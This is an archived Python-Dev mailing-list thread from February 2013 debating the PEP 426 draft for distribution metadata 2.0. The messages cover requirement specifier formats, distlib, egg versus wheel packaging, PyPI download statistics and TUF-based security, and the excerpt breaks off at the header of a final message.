Date: Tue, 19 Feb 2013 20:41:47 +0000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <DB6697DA22C343319162ECF67177F7C0@gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>
	<DB6697DA22C343319162ECF67177F7C0@gmail.com>
Message-ID: <CACac1F86fAvMwSkqf_PtzkwLjpHroDyY9i6Zr14SsiY_PB_bZg@mail.gmail.com>

On 19 February 2013 20:36, Donald Stufft <donald.stufft at gmail.com> wrote:
> 2. There is currently no code that I am aware of that implements this
> spec. I don't believe distlib does (yet - give Vinay 5 minutes and who
> knows? :-)), pkg_resources as I said implements a different format,
> and distutils2, apart from being a big dependency to cover just this
> point, only matches the version (not the project name) and presumably
> does so using the distutils2 version ordering (which is incompatible
> with Metadata 2.0).
>
> It should be alongside the version stuff, atleast it was in distutils2.

Yes, sorry - distlib does include code for this:

https://distlib.readthedocs.org/en/latest/tutorial.html#matching-versions-against-constraints

I was looking for the term "requirement" which is not used, and missed
it. (Either that or Vinay's been borrowing the time machine keys
again!)
Paul

From dholth at gmail.com  Tue Feb 19 21:42:29 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 19 Feb 2013 15:42:29 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<CACac1F92ZRT--uaH7Q5LvX9P2bWM1NUWvrbV_A+ougLcVzEx3g@mail.gmail.com>
Message-ID: <CAG8k2+7-TyskoA3z_Qf06d9VFZjpFsLktpfbZxY6nRJk7pS7eg@mail.gmail.com>

On Tue, Feb 19, 2013 at 3:25 PM, Paul Moore <p.f.moore at gmail.com> wrote:

> On 19 February 2013 13:40, Nick Coghlan <ncoghlan at gmail.com> wrote:
> >> If a tools wants to support metadata 2.0, it has to support all
> >> the complicated stuff as well, i.e. handle the requires fields,
> >> the environment markers and version comparisons/sorting.
> >
> > Which is what distutils2 can be used for now, and what distlib will
> > provide without the unwanted build system infrastructure in
> > distutils2.
>
> One particular item in Metadata 2.0 which needs to be addressed is
> requirements specifiers, as used in (for example) Requires-Dist. These
> take forms like "DistName (>= ver)". There are a number of potential
> issues here:
>
> 1. This differs from the pkg_resources format (which omits the
> parentheses). Having 2 subtly different formats is not a good idea in
> the long term. At the moment, pkg_resources format is used in pip
> requirements (on the command line and in requirement files) as well as
> in setuptools/distribute and possibly elsewhere.
> 2. There is currently no code that I am aware of that implements this
> spec. I don't believe distlib does (yet - give Vinay 5 minutes and who
> knows? :-)), pkg_resources as I said implements a different format,
> and distutils2, apart from being a big dependency to cover just this
> point, only matches the version (not the project name) and presumably
> does so using the distutils2 version ordering (which is incompatible
> with Metadata 2.0).
> 3. The format is fiddly to parse and process - nobody is likely to
> implement it for themselves without a library that does it (especially
> not when using pkg_resources is so easy).
>
> The PEP needs a rationale as to why the pkg_resources format wasn't
> used, and should suggest a migration path for projects which currently
> use the pkg_resources style (such as pip's requirements files).
>
> Paul


We did add full support for Metadata 2.0 Requires-Dist in pkg_resources.
The fiddling happens here:
https://bitbucket.org/tarek/distribute/src/tip/pkg_resources.py?at=default#cl-2469

The code removes the parenthesis and adds == when no operator was specified
to convert us back to the pkg_resources format. The rest of pkg_resources
carries on as before. Wheel installs would not pull in dependencies
otherwise.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/54de866c/attachment-0001.html>

From chris.jerdonek at gmail.com  Tue Feb 19 22:22:22 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Tue, 19 Feb 2013 13:22:22 -0800
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
Message-ID: <CAOTb1wc2J8D0ofh63Z6ts_ywyU5DTiRhDtvOFgp9rZLw0La8ZQ@mail.gmail.com>

On Tue, Feb 19, 2013 at 2:28 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Tue, Feb 19, 2013 at 7:37 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>> On 17.02.2013 11:11, Nick Coghlan wrote:
>> I'm not against modernizing the format, but given that version 1.2
>> has been out for around 8 years now, without much following,
>> I think we need to make the implementation bit a requirement
>> before accepting the PEP.
>
> It is being implemented in distlib, and the (short!) appendix to the
> PEP itself shows how to read the format using the standard library's
> email module.

Maybe this is already stated somewhere, but is there a plan for when
distlib will be brought into the repository?  Is there a reason not to
do it now?  It seems it would have more visibility that way (e.g.
people could see it as part of the development version of the online
docs and it would be in check-ins as are PEP edits), and its status
relative to Python would be clearer.

--Chris

>
> v2.0 is designed to fix many of the issues that prevented the adoption
> of v1.2, including tweaks to the standardised version scheme and the
> addition of a formal extension mechanism to avoid the ad hoc
> extensions that occurred with earlier metadata versions.
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/chris.jerdonek%40gmail.com

From mal at egenix.com  Tue Feb 19 22:34:34 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 19 Feb 2013 22:34:34 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
Message-ID: <5123EFEA.70600@egenix.com>

On 19.02.2013 14:40, Nick Coghlan wrote:
> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>> * PEP 426 doesn't include any mention of the egg distribution format,
>>   even though it's the most popular distribution format at the moment.
>>   It should at least include the location of the metadata file
>>   in eggs (EGG-INFO/PKG-INFO) and egg installations
>>   (<eggdir>/EGG-INFO/PKG-INFO).
> 
> "Other tools involved in Python distribution may also use this format."
> 
> The egg format has never been, and never will be, officially endorsed
> by python-dev. The wheel format is the standard format for binary
> distribution, and PEP 376 defines the standard location for metadata
> on installed distributions.

Oh, come on, Nick, that's just silly. setuptools was included in stdlib
for a short while, so the above is simply wrong. Eggs are the most
widely used binary distribution format for Python package on PyPI:

# wc *files.csv
  25585   25598 1431013 2013-02-19-egg-files.csv
   4619    4640  236694 2013-02-19-exe-files.csv
    254     255   13402 2013-02-19-msi-files.csv
 104691  104853 5251962 2013-02-19-tar-gz-files.csv
     24      24    1221 2013-02-19-whl-files.csv
  17937   18022  905913 2013-02-19-zip-files.csv
 153110  153392 7840205 total

(based on todays PyPI stats)

It doesn't really help ignoring realities... and I'm saying
that as one of the core devs who got setuptools kicked out of
the stdlib again.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 19 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From dholth at gmail.com  Tue Feb 19 23:01:46 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 19 Feb 2013 17:01:46 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <5123EFEA.70600@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
Message-ID: <CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>

On Tue, Feb 19, 2013 at 4:34 PM, M.-A. Lemburg <mal at egenix.com> wrote:

> On 19.02.2013 14:40, Nick Coghlan wrote:
> > On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> >> * PEP 426 doesn't include any mention of the egg distribution format,
> >>   even though it's the most popular distribution format at the moment.
> >>   It should at least include the location of the metadata file
> >>   in eggs (EGG-INFO/PKG-INFO) and egg installations
> >>   (<eggdir>/EGG-INFO/PKG-INFO).
> >
> > "Other tools involved in Python distribution may also use this format."
> >
> > The egg format has never been, and never will be, officially endorsed
> > by python-dev. The wheel format is the standard format for binary
> > distribution, and PEP 376 defines the standard location for metadata
> > on installed distributions.
>
> Oh, come on, Nick, that's just silly. setuptools was included in stdlib
> for a short while, so the above is simply wrong. Eggs are the most
> widely used binary distribution format for Python package on PyPI:
>
> # wc *files.csv
>   25585   25598 1431013 2013-02-19-egg-files.csv
>    4619    4640  236694 2013-02-19-exe-files.csv
>     254     255   13402 2013-02-19-msi-files.csv
>  104691  104853 5251962 2013-02-19-tar-gz-files.csv
>      24      24    1221 2013-02-19-whl-files.csv
>   17937   18022  905913 2013-02-19-zip-files.csv
>  153110  153392 7840205 total
>
> (based on todays PyPI stats)
>
> It doesn't really help ignoring realities... and I'm saying
> that as one of the core devs who got setuptools kicked out of
> the stdlib again.
>
> --
> Marc-Andre Lemburg
> eGenix.com
>

The wheel philosophy is that it should be supported by both python-dev and
setuptools and that you should feel happy about using setuptools if you
like it whether or not python-dev (currently) endorses that. If you are
using setuptools (distribute's pkg_resources) then you can use both at the
same time.

Distribute, distutils and setuptools' problems have not been well
understood which I think is why there has been a need to discredit
setuptools by calling it non-standard. It is the defacto standard. If your
packages have dependencies there is no other choice. Wheel tries to solve
the real problem by allowing you to build a package with setuptools while
giving the end-user the choice of installing setuptools or not.

Of course eggs are the most popular right now. The wheel format is very
egg-like while avoiding some of egg's problems. See the comparison in the
PEP or read the story on wheel's rtfd. The wheel project includes tools to
losslessly convert eggs or bdist_wininst to wheel.

I am confident distlib can thrive outside of the standard library! Why the
rush to kill it before its prime?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/4318fd95/attachment.html>

From mal at egenix.com  Tue Feb 19 23:07:13 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 19 Feb 2013 23:07:13 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
Message-ID: <5123F791.1010201@egenix.com>

On 19.02.2013 14:40, Nick Coghlan wrote:
> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>> On 19.02.2013 11:28, Nick Coghlan wrote:
>>> On Tue, Feb 19, 2013 at 7:37 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>>>> On 17.02.2013 11:11, Nick Coghlan wrote:
>>>> I'm not against modernizing the format, but given that version 1.2
>>>> has been out for around 8 years now, without much following,
>>>> I think we need to make the implementation bit a requirement
>>>> before accepting the PEP.
>>>
>>> It is being implemented in distlib, and the (short!) appendix to the
>>> PEP itself shows how to read the format using the standard library's
>>> email module.
>>
>> Hmm, what is distlib and where does it live ?
> 
> As part of the post-mortem of packaging's removal from Python 3.3,
> several subcomponents were identified as stable and useful. distlib is
> those subcomponents extracted into a separate repository by Vinay
> Sajip.
> 
> It will be proposed as the standard library infrastructure for
> building packaging related tools, while distutils will become purely a
> build system and have nothing to do with installing software directly
> (except perhaps on developer machines).

Shouldn't those details be mentioned in the PEP ?

>> The PEP only shows how to parse the RFC822-style format used by the
>> metadata. That's not what I was referring to.
>>
>> If a tools wants to support metadata 2.0, it has to support all
>> the complicated stuff as well, i.e. handle the requires fields,
>> the environment markers and version comparisons/sorting.
> 
> Which is what distutils2 can be used for now, and what distlib will
> provide without the unwanted build system infrastructure in
> distutils2.
>
>>> v2.0 is designed to fix many of the issues that prevented the adoption
>>> of v1.2, including tweaks to the standardised version scheme and the
>>> addition of a formal extension mechanism to avoid the ad hoc
>>> extensions that occurred with earlier metadata versions.
>>
>> Some more notes:
>>
>> * I find it confusing that we now have two version schemes,
>>   one defined in PEP 426 (hidden in the middle of the document)
>>   and one in PEP 386. It would be better to amend or replace
>>   PEP 386, since that's where you look for Python version strings.
> 
> You can't understand version specifiers without understanding the sort
> order defined for the version scheme, so documenting them separately
> is just a recipe for confusion.

PEP 386 defines both. The point here is that the version scheme
goes far beyond the metadata format and is complicated enough
to warrant a separate PEP.

> I plan to mark PEP 386 as Withdrawn when I accept this PEP, as the
> sorting scheme it defines is broken, and the distutils changes
> proposed in that PEP are never going to happen.

Hmm, Tarek is the author, so only he can withdraw the PEP, AFAIK.

>> * PEP 426 doesn't include any mention of the egg distribution format,
>>   even though it's the most popular distribution format at the moment.
>>   It should at least include the location of the metadata file
>>   in eggs (EGG-INFO/PKG-INFO) and egg installations
>>   (<eggdir>/EGG-INFO/PKG-INFO).
> 
> "Other tools involved in Python distribution may also use this format."
> 
> The egg format has never been, and never will be, officially endorsed
> by python-dev. The wheel format is the standard format for binary
> distribution, and PEP 376 defines the standard location for metadata
> on installed distributions.

See my other reply.

>>
>> Not sure whether related or not, I also think it would be a good idea
>> to make the metadata file available on PyPI for download (could be sent
>> there when registering the package release). The register command
>> only posts the data as 1.0 metadata, but includes fields from
>> metadata 1.1. PyPI itself only displays part of the data.
> 
> It's not related, but I plan to propose the adoption of TUF (with GPG
> based signatures) for PyPI's end-to-end security solution, and the
> conversion of the metadata files to JSON for distribution through
> TUF's metadata support. (Donald Stufft already wrote  PEP 426 <-> JSON
> bidirectional converter as part of an unrelated experiment)

Why convert the metadata format you are defining in PEP 426
to yet another format when it can be uploaded as file straight
to PyPI ?

TUF doesn't have anything to do with that, agreed ;-)

>> It would be useful to have the metadata readily available for
>> inspection on PyPI without having to download one of the
>> distribution files first.
> 
> Indeed, which is a large part of why TUF (aka The Update Framework:
> https://www.updateframework.com/) is such an interesting security
> solution.

The suggestion to have the metadata available on PyPI doesn't
have anything to do with security.

It's about being able to determine compatibility and select the
right distribution file for download. The metadata also helps in
creating dependency graphs, which are useful for a lot of things.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 19 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From mal at egenix.com  Tue Feb 19 23:10:17 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 19 Feb 2013 23:10:17 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
Message-ID: <5123F849.6080703@egenix.com>

On 19.02.2013 23:01, Daniel Holth wrote:
> On Tue, Feb 19, 2013 at 4:34 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> 
>> On 19.02.2013 14:40, Nick Coghlan wrote:
>>> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>>>> * PEP 426 doesn't include any mention of the egg distribution format,
>>>>   even though it's the most popular distribution format at the moment.
>>>>   It should at least include the location of the metadata file
>>>>   in eggs (EGG-INFO/PKG-INFO) and egg installations
>>>>   (<eggdir>/EGG-INFO/PKG-INFO).
>>>
>>> "Other tools involved in Python distribution may also use this format."
>>>
>>> The egg format has never been, and never will be, officially endorsed
>>> by python-dev. The wheel format is the standard format for binary
>>> distribution, and PEP 376 defines the standard location for metadata
>>> on installed distributions.
>>
>> Oh, come on, Nick, that's just silly. setuptools was included in stdlib
>> for a short while, so the above is simply wrong. Eggs are the most
>> widely used binary distribution format for Python package on PyPI:
>>
>> # wc *files.csv
>>   25585   25598 1431013 2013-02-19-egg-files.csv
>>    4619    4640  236694 2013-02-19-exe-files.csv
>>     254     255   13402 2013-02-19-msi-files.csv
>>  104691  104853 5251962 2013-02-19-tar-gz-files.csv
>>      24      24    1221 2013-02-19-whl-files.csv
>>   17937   18022  905913 2013-02-19-zip-files.csv
>>  153110  153392 7840205 total
>>
>> (based on todays PyPI stats)
>>
>> It doesn't really help ignoring realities... and I'm saying
>> that as one of the core devs who got setuptools kicked out of
>> the stdlib again.
>>
>> --
>> Marc-Andre Lemburg
>> eGenix.com
>>
> 
> The wheel philosophy is that it should be supported by both python-dev and
> setuptools and that you should feel happy about using setuptools if you
> like it whether or not python-dev (currently) endorses that. If you are
> using setuptools (distribute's pkg_resources) then you can use both at the
> same time.
> 
> Distribute, distutils and setuptools' problems have not been well
> understood which I think is why there has been a need to discredit
> setuptools by calling it non-standard. It is the defacto standard. If your
> packages have dependencies there is no other choice. Wheel tries to solve
> the real problem by allowing you to build a package with setuptools while
> giving the end-user the choice of installing setuptools or not.
> 
> Of course eggs are the most popular right now. The wheel format is very
> egg-like while avoiding some of egg's problems. See the comparison in the
> PEP or read the story on wheel's rtfd. The wheel project includes tools to
> losslessly convert eggs or bdist_wininst to wheel.

That's all fine, but it doesn't explain the refusal to add the
documentation of the location of the PKG-INFO file in eggs ?

> I am confident distlib can thrive outside of the standard library! Why the
> rush to kill it before its prime?

Who's trying to kill distlib ?

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 19 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From dholth at gmail.com  Wed Feb 20 00:16:14 2013
From: dholth at gmail.com (Daniel Holth)
Date: Tue, 19 Feb 2013 18:16:14 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <5123F849.6080703@egenix.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
Message-ID: <CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>

On Tue, Feb 19, 2013 at 5:10 PM, M.-A. Lemburg <mal at egenix.com> wrote:

> On 19.02.2013 23:01, Daniel Holth wrote:
> > On Tue, Feb 19, 2013 at 4:34 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> >
> >> On 19.02.2013 14:40, Nick Coghlan wrote:
> >>> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com>
> wrote:
> >>>> * PEP 426 doesn't include any mention of the egg distribution format,
> >>>>   even though it's the most popular distribution format at the moment.
> >>>>   It should at least include the location of the metadata file
> >>>>   in eggs (EGG-INFO/PKG-INFO) and egg installations
> >>>>   (<eggdir>/EGG-INFO/PKG-INFO).
> >>>
> >>> "Other tools involved in Python distribution may also use this format."
> >>>
> >>> The egg format has never been, and never will be, officially endorsed
> >>> by python-dev. The wheel format is the standard format for binary
> >>> distribution, and PEP 376 defines the standard location for metadata
> >>> on installed distributions.
> >>
> >> Oh, come on, Nick, that's just silly. setuptools was included in stdlib
> >> for a short while, so the above is simply wrong. Eggs are the most
> >> widely used binary distribution format for Python package on PyPI:
> >>
> >> # wc *files.csv
> >>   25585   25598 1431013 2013-02-19-egg-files.csv
> >>    4619    4640  236694 2013-02-19-exe-files.csv
> >>     254     255   13402 2013-02-19-msi-files.csv
> >>  104691  104853 5251962 2013-02-19-tar-gz-files.csv
> >>      24      24    1221 2013-02-19-whl-files.csv
> >>   17937   18022  905913 2013-02-19-zip-files.csv
> >>  153110  153392 7840205 total
> >>
> >> (based on todays PyPI stats)
> >>
> >> It doesn't really help ignoring realities... and I'm saying
> >> that as one of the core devs who got setuptools kicked out of
> >> the stdlib again.
> >>
> >> --
> >> Marc-Andre Lemburg
> >> eGenix.com
> >>
> >
> > The wheel philosophy is that it should be supported by both python-dev
> and
> > setuptools and that you should feel happy about using setuptools if you
> > like it whether or not python-dev (currently) endorses that. If you are
> > using setuptools (distribute's pkg_resources) then you can use both at
> the
> > same time.
> >
> > Distribute, distutils and setuptools' problems have not been well
> > understood which I think is why there has been a need to discredit
> > setuptools by calling it non-standard. It is the defacto standard. If
> your
> > packages have dependencies there is no other choice. Wheel tries to solve
> > the real problem by allowing you to build a package with setuptools while
> > giving the end-user the choice of installing setuptools or not.
> >
> > Of course eggs are the most popular right now. The wheel format is very
> > egg-like while avoiding some of egg's problems. See the comparison in the
> > PEP or read the story on wheel's rtfd. The wheel project includes tools
> to
> > losslessly convert eggs or bdist_wininst to wheel.
>
> That's all fine, but it doesn't explain the refusal to add the
> documentation of the location of the PKG-INFO file in eggs ?


It would just be a sentence, I wouldn't have a problem with it but I also
don't see why it would be necessary. Even setuptools doesn't touch the file
usually. Right now distribute's pkg_resources currently only understands
Requires-Dist if it is inside a .dist-info directory.

Sorry, Chris must have meant http://hg.python.org/distlib/ . I was
struggling to imagine a world where that is more visible than something on
bitbucket. Half the comments have been about putting something in stdlib
right away, something that I do not understand at all as a voracious PyPI
or https://crate.io/ user.

You should secure both the metadata and the packages but it doesn't have
anything to do with the serialization format.

Wheel is designed so that the metadata is at the end of the .zip and can be
retrieved with an HTTP partial request. The feature may or may not be
useful.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/d6a3b986/attachment.html>

From donald.stufft at gmail.com  Wed Feb 20 00:19:54 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Tue, 19 Feb 2013 18:19:54 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
Message-ID: <6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>

On Tuesday, February 19, 2013 at 6:16 PM, Daniel Holth wrote:
> Sorry, Chris must have meant http://hg.python.org/distlib/ . I was struggling to imagine a world where that is more visible than something on bitbucket. Half the comments have been about putting something in stdlib right away, something that I do not understand at all as a voracious PyPI or https://crate.io/ user.
Let's not add anything to the stdlib till it has real world usage. Doing otherwise 
is putting the cart before the horse.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/99485b7f/attachment-0001.html>

From fred at fdrake.net  Wed Feb 20 01:54:21 2013
From: fred at fdrake.net (Fred Drake)
Date: Tue, 19 Feb 2013 19:54:21 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
